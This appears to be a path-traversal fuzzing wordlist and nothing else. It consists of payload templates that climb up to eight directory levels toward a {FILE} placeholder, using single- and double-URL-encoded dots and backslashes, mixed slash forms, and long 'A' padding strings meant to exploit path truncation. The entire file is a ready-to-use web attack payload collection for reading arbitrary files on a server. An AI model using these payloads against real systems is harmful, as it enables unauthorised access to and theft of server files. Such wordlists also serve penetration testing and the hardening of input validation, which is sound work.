%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
|
||||
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
|
||||
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
|
||||
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
|
||||
%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
|
||||
%2e%2e%5c{FILE}
|
||||
%2e%2e%5c%2e%2e%5c{FILE}
|
||||
%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
|
||||
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
|
||||
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
|
||||
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
|
||||
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
|
||||
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
|
||||
..%255c{FILE}
|
||||
..%255c..%255c{FILE}
|
||||
..%255c..%255c..%255c{FILE}
|
||||
..%255c..%255c..%255c..%255c{FILE}
|
||||
..%255c..%255c..%255c..%255c..%255c{FILE}
|
||||
..%255c..%255c..%255c..%255c..%255c..%255c{FILE}
|
||||
..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}
|
||||
..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}
|
||||
%252e%252e\{FILE}
|
||||
%252e%252e\%252e%252e\{FILE}
|
||||
%252e%252e\%252e%252e\%252e%252e\{FILE}
|
||||
%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
|
||||
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
|
||||
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
|
||||
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
|
||||
%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
|
||||
%252e%252e%255c{FILE}
|
||||
%252e%252e%255c%252e%252e%255c{FILE}
|
||||
%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
|
||||
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
|
||||
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
|
||||
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
|
||||
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
|
||||
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
|
||||
\../{FILE}
|
||||
\../\../{FILE}
|
||||
\../\../\../{FILE}
|
||||
\../\../\../\../{FILE}
|
||||
\../\../\../\../\../{FILE}
|
||||
\../\../\../\../\../\../{FILE}
|
||||
\../\../\../\../\../\../\../{FILE}
|
||||
\../\../\../\../\../\../\../\../{FILE}
|
||||
/..\{FILE}
|
||||
/..\/..\{FILE}
|
||||
/..\/..\/..\{FILE}
|
||||
/..\/..\/..\/..\{FILE}
|
||||
/..\/..\/..\/..\/..\{FILE}
|
||||
/..\/..\/..\/..\/..\/..\{FILE}
|
||||
/..\/..\/..\/..\/..\/..\/..\{FILE}
|
||||
/..\/..\/..\/..\/..\/..\/..\/..\{FILE}
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../{FILE}
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../{FILE}
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../{FILE}
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../{FILE}
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../{FILE}
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../{FILE}
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../{FILE}
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../../{FILE}
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\{FILE}
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\{FILE}
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\{FILE}
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\{FILE}
|
||||
